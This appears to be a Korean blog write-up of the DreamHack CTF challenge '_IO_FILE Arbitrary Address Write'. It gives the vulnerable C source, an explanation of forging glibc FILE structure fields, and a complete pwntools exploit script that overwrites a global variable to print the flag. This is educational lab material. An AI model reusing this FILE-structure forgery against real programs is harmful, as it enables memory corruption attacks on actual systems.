본문 바로가기

CTF/Pwnable

[DreamHack] _IO_FILE Arbitrary Address Write Write-up

코드분석

#include <stdio.h>
#include <unistd.h>
#include <string.h>

char flag_buf[1024];
int overwrite_me;

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int read_flag() {
  FILE *fp;
  fp = fopen("/home/iofile_aaw/flag", "r");
  fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);

  write(1, flag_buf, sizeof(flag_buf));
  fclose(fp);
}

int main() {
  FILE *fp;

  char file_buf[1024];

  init();

  fp = fopen("/etc/issue", "r");

  printf("Data: ");

  read(0, fp, 300);

  fread(file_buf, 1, sizeof(file_buf)-1, fp);

  printf("%s", file_buf);

  if( overwrite_me == 0xDEADBEEF)
    read_flag();

  fclose(fp);
}
  • /etc/issue파일을 열고 파일포인터에 300바이트만큼의 값을 입력
  • fread함수를 통해 파일의 내용을 읽고 출력
  • overwrite_me변수의 값이 xDEADBEEF 라면 read_flag 함수를 호출해 /home/iofile_aaw/flag 파일의 내용을 출력

=> fp를 조작해서 overwrite_me를 0xDEABEEF로 조작하면 flag획득 가능 

 

익스플로잇

1._flags조작

쓰기를 수행하기 위한 flag로 조작하면 된다 

0xfbad2488  =_IO-MAGIC (0xfbad0000) + _IO_IS_FILEBUF(0x2000) + _IO_TIED_PU_GET(0x400) + _IO_LINKED(0x80) + _IO_NO_WRITES(0x8)

 

2. _IO_buf_end를 _IO_buf_base조작 

fp를 조작할 수 있으므로 read시스템 콜을 통해 overwrite_me를 조작할 수 있도록 하면 된다

_IO_buf_base를 overwriteme의 주소로 조작하고 _IO_buf_end를 overwrite_me+1024로 조작하자

 

이때 read함수 인자로 사용되는 size( _IO_buf_end-  _IO_buf_base)를 적절하게 조작해야한다

_IO_new_file_underflow()에서 _IO_buf_end-  _IO_buf_base값이 fread함수의 인자로 전달된 읽기크기 보다 커야하기때문

코드를 보면 size로 1023를 사용하기 때문에 1024로 조작하면된다

 

3.fileno조작 

값을 쓰기 위해서 fileno는 stdin을 나타내는 0으로 덮자

 

코드를 작성해보면

import time
from pwn import *
p = process('./iofile_aaw')
elf = ELF('./iofile_aaw')
overwrite_me = elf.symbols['overwrite_me']
payload = p64(0xfbad2488)
payload += p64(0) # _IO_read_ptr
payload += p64(0) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(0) # _IO_write_base
payload += p64(0) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(overwrite_me) # _IO_buf_base
payload += p64(overwrite_me+1024) # _IO_buf_end
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0) # stdin
p.sendlineafter(b'Data: ', payload)
time.sleep(1) # controlling the timing between send()
p.send(p64(0xDEADBEEF) + b'\x00'*1024)
p.interactive()

 

 flag가 나온다 

 

'CTF > Pwnable' 카테고리의 다른 글

[Dreamhack] blindsc Write-up  (0) 2024.03.31
[DreamHack] Bypass IO_validate_vtable Write-up  (0) 2024.03.31
[DreamHack] send_sig Write-up  (0) 2024.03.30
[DreamHack] overwrite_rtld_global write-up  (0) 2024.03.29
[DreamHack]linux_forest Write-up  (0) 2024.03.27